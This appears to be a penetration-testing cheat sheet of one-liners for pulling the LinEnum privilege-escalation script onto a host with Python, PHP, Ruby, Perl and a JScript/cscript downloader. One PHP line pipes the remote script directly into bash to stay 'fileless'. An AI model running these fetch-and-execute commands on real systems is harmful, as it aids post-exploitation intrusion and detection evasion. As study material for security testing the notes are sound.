download for python with urllib.urlretrieve()
python2.7 -c 'import urllib;urllib.urlretrieve ("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh")'
with file_get_contents() to download and file_put_contents() with -r
download
php -r '$file = file_get_contents("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); file_put_contents("LinEnum.sh",$file);'
fopen() module
php -r 'const BUFFER = 1024; $fremote =
fopen("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
send to pipe for making fileless
php -r '$lines = @file("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
download with -e
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>")))'
perl -e 'use LWP::Simple; getstore("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh");'
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
download a file using javascript and cscript.exe